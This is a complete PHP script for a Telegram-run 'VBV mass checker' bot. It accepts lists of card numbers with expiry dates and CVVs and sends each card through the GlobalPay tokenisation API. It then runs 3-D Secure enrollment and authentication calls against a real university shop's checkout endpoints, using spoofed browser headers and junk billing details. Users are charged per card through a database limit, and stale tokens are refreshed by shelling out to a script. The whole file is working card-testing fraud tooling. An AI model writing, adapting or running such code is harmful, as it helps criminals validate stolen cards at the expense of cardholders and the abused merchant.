<?php
// Enable output buffering for real-time streaming
@ini_set('output_buffering', 'Off');
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1);
@ob_end_clean();
header('Content-Type: text/plain; charset=utf-8');
header('X-Accel-Buffering: no'); // Disable nginx buffering
if (ob_get_level()) ob_end_clean();

// Global flag for token refresh (only refresh once per mass check)
$tokenRefreshed = false;

function readTokenFromFile() {
    $tokenFile = "vbvapitoken.txt";
    
    if (!file_exists($tokenFile)) {
        return null;
    }
    
    try {
        $token = file_get_contents($tokenFile);
        $token = trim($token);
        
        if (empty($token)) {
            return null;
        }
        
        return $token;
    } catch (Exception $e) {
        return null;
    }
}

function generateUUID() {
    return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand(0, 0xffff), mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0x0fff) | 0x4000,
        mt_rand(0, 0x3fff) | 0x8000,
        mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
}

function sendGlobalPayRequest($cardNumber, $cvv = "001", $expMonth = "12", $expYear = "29", $cardholderName = "assdd asss", $token = null) {
    if ($token === null) {
        $token = readTokenFromFile();
        if ($token === null) {
            return ["NO_TOKEN", null];
        }
    }
    
    $url = "https://apis.globalpay.com/ucp/payment-methods";
    
    $headers = [
        "accept: application/json",
        "accept-encoding: gzip, deflate, br, zstd",
        "accept-language: tr-TR,tr;q=0.6",
        "authorization: Bearer {$token}",
        "cache-control: no-cache",
        "content-type: application/json",
        "origin: https://js.globalpay.com",
        "pragma: no-cache",
        "referer: https://js.globalpay.com/",
        "sec-ch-ua: \"Chromium\";v=\"142\", \"Brave\";v=\"142\", \"Not_A Brand\";v=\"99\"",
        "sec-ch-ua-mobile: ?0",
        "sec-ch-ua-platform: \"Windows\"",
        "sec-fetch-dest: empty",
        "sec-fetch-mode: cors",
        "sec-fetch-site: same-site",
        "sec-gpc: 1",
        "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
        "x-gp-library: javascript;version=4.0.20",
        "x-gp-version: 2021-03-22"
    ];
    
    $reference = generateUUID();
    
    $payload = [
        "reference" => $reference,
        "usage_mode" => "SINGLE",
        "card" => [
            "number" => $cardNumber,
            "cvv" => $cvv,
            "expiry_month" => $expMonth,
            "expiry_year" => $expYear
        ],
        "name" => $cardholderName
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_ENCODING, "");
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($error) {
        return ["ERROR", null];
    }
    
    if ($httpCode == 200) {
        $responseData = json_decode($response, true);
        if ($responseData !== null) {
            return ["SUCCESS", $responseData];
        }
        return ["JSON_ERROR", null];
    } elseif ($httpCode == 401) {
        return ["TOKEN_EXPIRED", null];
    } elseif ($httpCode == 400) {
        $errorData = json_decode($response, true);
        if ($errorData && isset($errorData["error_code"])) {
            return [$errorData["error_code"], null];
        }
        return ["BAD_REQUEST", null];
    } else {
        return ["HTTP_{$httpCode}", null];
    }
}

function check3DSEnrollment($tokenResponse, $amount = "13.00", $currency = "GBP") {
    $url = "https://notjustashop.arts.ac.uk/wc-api/globalpayments_threedsecure_checkenrollment/";
    
    $headers = [
        "accept: */*",
        "accept-encoding: gzip, deflate, br, zstd",
        "accept-language: tr-TR,tr;q=0.7",
        "content-type: application/json",
        "origin: https://notjustashop.arts.ac.uk",
        "referer: https://notjustashop.arts.ac.uk/checkout/",
        "sec-ch-ua: \"Chromium\";v=\"142\", \"Brave\";v=\"142\", \"Not_A Brand\";v=\"99\"",
        "sec-ch-ua-mobile: ?0",
        "sec-ch-ua-platform: \"Windows\"",
        "sec-fetch-dest: empty",
        "sec-fetch-mode: cors",
        "sec-fetch-site: same-origin",
        "sec-gpc: 1",
        "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
    ];
    
    $payload = [
        "tokenResponse" => $tokenResponse,
        "order" => [
            "id" => 0,
            "amount" => $amount,
            "currency" => $currency
        ]
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_ENCODING, "");
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($error) {
        return ["ERROR", null];
    }
    
    if ($httpCode == 200) {
        $responseData = json_decode($response, true);
        if ($responseData !== null) {
            return ["SUCCESS", $responseData];
        }
        return ["JSON_ERROR", null];
    } else {
        return ["HTTP_{$httpCode}", null];
    }
}

function initiateAuthentication($tokenResponse, $versionCheckData, $amount = "13.00", $currency = "GBP", 
                                $billingInfo = null, $shippingInfo = null, $email = "asd2187safas89@asdasd.com") {
    $url = "https://notjustashop.arts.ac.uk/wc-api/globalpayments_threedsecure_initiateauthentication/";
    
    $headers = [
        "accept: */*",
        "accept-encoding: gzip, deflate, br, zstd",
        "accept-language: tr-TR,tr;q=0.7",
        "content-type: application/json",
        "origin: https://notjustashop.arts.ac.uk",
        "referer: https://notjustashop.arts.ac.uk/checkout/",
        "sec-ch-ua: \"Chromium\";v=\"142\", \"Brave\";v=\"142\", \"Not_A Brand\";v=\"99\"",
        "sec-ch-ua-mobile: ?0",
        "sec-ch-ua-platform: \"Windows\"",
        "sec-fetch-dest: empty",
        "sec-fetch-mode: cors",
        "sec-fetch-site: same-origin",
        "sec-gpc: 1",
        "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
    ];
    
    if ($billingInfo === null) {
        $billingInfo = [
            "streetAddress1" => "asd12 8as8da s98dasd 9asd",
            "streetAddress2" => "",
            "city" => "asdasd",
            "state" => "",
            "postalCode" => "WC1V 7EY",
            "country" => "GB"
        ];
    }
    
    if ($shippingInfo === null) {
        $shippingInfo = [
            "streetAddress1" => "asd12 8as8da s98dasd 9asd",
            "streetAddress2" => "",
            "city" => "asdasd",
            "state" => "",
            "postalCode" => "WC1V 7EY",
            "country" => "GB"
        ];
    }
    
    $currentTime = gmdate('Y-m-d\TH:i:s.v\Z');
    
    $payload = [
        "tokenResponse" => $tokenResponse,
        "versionCheckData" => $versionCheckData,
        "challengeWindow" => [
            "windowSize" => "WINDOWED_500X600",
            "displayMode" => "lightbox"
        ],
        "order" => [
            "id" => 0,
            "amount" => $amount,
            "currency" => $currency,
            "billingAddress" => $billingInfo,
            "shippingAddress" => $shippingInfo,
            "addressMatchIndicator" => true,
            "customerEmail" => $email
        ],
        "authenticationSource" => "BROWSER",
        "authenticationRequestType" => "PAYMENT_TRANSACTION",
        "messageCategory" => "PAYMENT_AUTHENTICATION",
        "challengeRequestIndicator" => "NO_PREFERENCE",
        "browserData" => [
            "colorDepth" => "TWENTY_FOUR_BITS",
            "javaEnabled" => false,
            "javascriptEnabled" => true,
            "language" => "tr-TR",
            "screenHeight" => 1080,
            "screenWidth" => 1920,
            "time" => $currentTime,
            "timezoneOffset" => -3,
            "userAgent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
        ]
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_ENCODING, "");
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($error) {
        return ["ERROR", null];
    }
    
    if ($httpCode == 200) {
        $responseData = json_decode($response, true);
        if ($responseData !== null) {
            return ["SUCCESS", $responseData];
        }
        return ["JSON_ERROR", null];
    } else {
        return ["HTTP_{$httpCode}", null];
    }
}

// Database connection
function getDbConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host={$host};dbname={$dbname};charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch (PDOException $e) {
        return null;
    }
}

function decrementLimit($chatId) {
    $pdo = getDbConnection();
    if (!$pdo) {
        return false;
    }
    
    try {
        // Get current vbvlimit
        $stmt = $pdo->prepare("SELECT vbvlimit FROM users WHERE chatid = :chatid");
        $stmt->execute(['chatid' => $chatId]);
        $user = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if (!$user) {
            return false;
        }
        
        $currentLimit = (int)$user['vbvlimit'];
        
        if ($currentLimit <= 0) {
            return false;
        }
        
        // Decrement limit
        $newLimit = $currentLimit - 1;
        $stmt = $pdo->prepare("UPDATE users SET vbvlimit = :newlimit WHERE chatid = :chatid");
        $stmt->execute(['newlimit' => $newLimit, 'chatid' => $chatId]);
        
        return $newLimit;
        
    } catch (PDOException $e) {
        return false;
    }
}

function getCurrentLimit($chatId) {
    $pdo = getDbConnection();
    if (!$pdo) {
        return 0;
    }
    
    try {
        $stmt = $pdo->prepare("SELECT vbvlimit FROM users WHERE chatid = :chatid");
        $stmt->execute(['chatid' => $chatId]);
        $user = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if (!$user) {
            return 0;
        }
        
        return (int)$user['vbvlimit'];
        
    } catch (PDOException $e) {
        return 0;
    }
}

function validateCard($cardData) {
    $cardParts = explode('|', $cardData);
    
    if (count($cardParts) != 4) {
        return ["error" => "Invalid format. Use: CARD|MM|YY|CVV"];
    }
    
    $card = trim($cardParts[0]);
    $month = trim($cardParts[1]);
    $year = trim($cardParts[2]);
    $cvv = trim($cardParts[3]);
    
    // Kart numarası: 16 hane
    if (!preg_match('/^\d{16}$/', $card)) {
        return ["error" => "Card must be 16 digits"];
    }
    
    // Ay: 01-12
    if (!preg_match('/^(0[1-9]|1[0-2])$/', $month)) {
        return ["error" => "Month must be 01-12"];
    }
    
    // Yıl: 2 veya 4 hane
    if (strlen($year) == 2) {
        if (!preg_match('/^\d{2}$/', $year)) {
            return ["error" => "Year must be 2 or 4 digits"];
        }
    } elseif (strlen($year) == 4) {
        if (!preg_match('/^20\d{2}$/', $year)) {
            return ["error" => "4-digit year must start with 20"];
        }
        $year = substr($year, 2, 2);
    } else {
        return ["error" => "Year must be 2 or 4 digits"];
    }
    
    // CVV: 3 hane, 000 yasak
    if (!preg_match('/^\d{3}$/', $cvv)) {
        return ["error" => "CVV must be 3 digits"];
    }
    
    if ($cvv === '000') {
        return ["error" => "GEN YASAK"];
    }
    
    return [
        "card" => $card,
        "month" => $month,
        "year" => $year,
        "cvv" => $cvv
    ];
}

function testCard($card, $month, $year, $cvv) {
    global $tokenRefreshed;
    $startTime = microtime(true);
    
    list($result, $data) = sendGlobalPayRequest($card, $cvv, $month, $year, "asd saasdads");
    
    // TOKEN_EXPIRED kontrolü - otomatik yenileme (sadece bir kez)
    if ($result === "TOKEN_EXPIRED" && !$tokenRefreshed) {
        echo "\n⚠️ TOKEN EXPIRED - Auto-refreshing...\n";
        $tokenRefreshed = true;
        
        // Python script'i çalıştır
        $scriptPath = __DIR__ . "/vbvtokenyenile.py";
        $command = "python3 " . escapeshellarg($scriptPath) . " 2>&1";
        
        echo "[INFO] Running token refresh script...\n";
        $output = shell_exec($command);
        
        if (strpos($output, "[DONE] Process completed successfully!") !== false) {
            echo "✅ Token refreshed successfully!\n\n";
            
            // Super admin'e bildir
            $superAdminId = "7242711752";
            $message = "🔄 VBV API Token Auto-Refresh (MASS)\n\n";
            $message .= "✅ Token expired and was automatically refreshed\n";
            $message .= "📍 Triggered by: MASS checker\n";
            $message .= "🕒 Time: " . date('Y-m-d H:i:s');
            
            $telegramUrl = "https://api.telegram.org/bot" . getenv('BOT_TOKEN') . "/sendMessage";
            $telegramData = [
                'chat_id' => $superAdminId,
                'text' => $message,
                'parse_mode' => 'HTML'
            ];
            
            $ch = curl_init($telegramUrl);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($telegramData));
            curl_exec($ch);
            curl_close($ch);
            
            // Yeni token ile tekrar dene
            list($result, $data) = sendGlobalPayRequest($card, $cvv, $month, $year, "asd saasdads");
        } else {
            echo "❌ Token refresh failed!\n\n";
            
            // Super admin'e hata bildir
            $superAdminId = "7242711752";
            $message = "❌ VBV API Token Refresh FAILED (MASS)\n\n";
            $message .= "⚠️ Automatic token refresh failed\n";
            $message .= "📍 Triggered by: MASS checker\n";
            $message .= "🕒 Time: " . date('Y-m-d H:i:s') . "\n\n";
            $message .= "Please refresh token manually";
            
            $telegramUrl = "https://api.telegram.org/bot" . getenv('BOT_TOKEN') . "/sendMessage";
            $telegramData = [
                'chat_id' => $superAdminId,
                'text' => $message,
                'parse_mode' => 'HTML'
            ];
            
            $ch = curl_init($telegramUrl);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($telegramData));
            curl_exec($ch);
            curl_close($ch);
        }
    }
    
    if (!$data) {
        $elapsed = round(microtime(true) - $startTime, 2);
        return ["result" => $result, "time" => $elapsed];
    }
    
    // Build token response
    $cardInfo = isset($data["card"]) ? $data["card"] : [];
    $maskedNumber = isset($cardInfo["masked_number_last4"]) ? $cardInfo["masked_number_last4"] : "";
    $cardBrand = isset($cardInfo["brand"]) ? strtolower($cardInfo["brand"]) : "";
    
    $last4 = strlen($maskedNumber) >= 4 ? substr($maskedNumber, -4) : "0000";
    $cardBin = substr($card, 0, 6);
    
    $details = [
        "accountId" => isset($data["account_id"]) ? $data["account_id"] : "",
        "accountName" => isset($data["account_name"]) ? $data["account_name"] : "",
        "merchantId" => isset($data["merchant_id"]) ? $data["merchant_id"] : "",
        "merchantName" => isset($data["merchant_name"]) ? $data["merchant_name"] : "",
        "reference" => isset($data["reference"]) ? $data["reference"] : "",
        "cardNumber" => "{$cardBin}******{$last4}",
        "cardType" => $cardBrand,
        "cardBin" => $cardBin,
        "cardLast4" => $last4,
        "cardSecurityCode" => true,
        "expiryMonth" => $month,
        "expiryYear" => "20" . $year,
        "cardholderName" => "asd saasdads"
    ];
    
    $tokenObj = [
        "details" => $details,
        "paymentReference" => isset($data["id"]) ? $data["id"] : ""
    ];
    
    $tokenResponse = json_encode($tokenObj);
    
    list($result3ds, $data3ds) = check3DSEnrollment($tokenResponse);
    
    if (!$data3ds) {
        $elapsed = round(microtime(true) - $startTime, 2);
        return ["result" => $result3ds, "time" => $elapsed];
    }
    
    list($resultAuth, $dataAuth) = initiateAuthentication($tokenResponse, $data3ds);
    
    if ($dataAuth) {
        $statusResult = isset($dataAuth["status"]) ? $dataAuth["status"] : 
                       (isset($dataAuth["result"]) ? $dataAuth["result"] : "UNKNOWN");
        $elapsed = round(microtime(true) - $startTime, 2);
        return ["result" => $statusResult, "time" => $elapsed];
    }
    
    $elapsed = round(microtime(true) - $startTime, 2);
    return ["result" => $resultAuth, "time" => $elapsed];
}

// Main execution
if (!isset($_GET['cards'])) {
    echo "ERROR: No cards parameter provided\n";
    echo "Usage: ?cards=CARD1|MM|YY|CVV,CARD2|MM|YY|CVV&chatid=CHATID\n";
    exit;
}

if (!isset($_GET['chatid'])) {
    echo "ERROR: No chatid parameter provided\n";
    echo "Usage: ?cards=CARD1|MM|YY|CVV,CARD2|MM|YY|CVV&chatid=CHATID\n";
    exit;
}

$cardsParam = $_GET['cards'];
$chatId = $_GET['chatid'];

// Virgülle ayır
$cardsList = explode(',', $cardsParam);

if (empty($cardsList)) {
    echo "ERROR: No cards provided\n";
    exit;
}

// Validate all cards first
$validatedCards = [];
foreach ($cardsList as $cardData) {
    $cardData = trim($cardData);
    if (empty($cardData)) continue;
    
    $validation = validateCard($cardData);
    if (isset($validation['error'])) {
        echo "ERROR: {$validation['error']} in card: {$cardData}\n";
        exit;
    }
    
    $validatedCards[] = [
        'original' => $cardData,
        'card' => $validation['card'],
        'month' => $validation['month'],
        'year' => $validation['year'],
        'cvv' => $validation['cvv']
    ];
}

$totalCards = count($validatedCards);

// Check initial limit
$currentLimit = getCurrentLimit($chatId);
if ($currentLimit < $totalCards) {
    echo "ERROR: Not enough vbv limit. Need {$totalCards}, have {$currentLimit}\n";
    exit;
}

// Process cards
$results = [];

echo "𝐕𝐁𝐕𝐌𝐀𝐒𝐒 𝐑𝐄𝐒𝐔𝐋𝐓:\n";

foreach ($validatedCards as $cardInfo) {
    // Test card
    $testResult = testCard(
        $cardInfo['card'],
        $cardInfo['month'],
        $cardInfo['year'],
        $cardInfo['cvv']
    );
    
    // Decrement limit
    $newLimit = decrementLimit($chatId);
    
    // Output result immediately
    echo "{$cardInfo['original']} | {$testResult['result']} ({$testResult['time']}s)\n";
    flush();
}

// Get final limit
$finalLimit = getCurrentLimit($chatId);

echo "\n𝐕𝐛𝐯 𝐋𝐢𝐦𝐢𝐭: {$finalLimit}\n";
echo "𝐕𝐛𝐯𝐂𝐡𝐞𝐜𝐤 𝐁𝐘 @aerithiacheck3r_bot\n";

?>
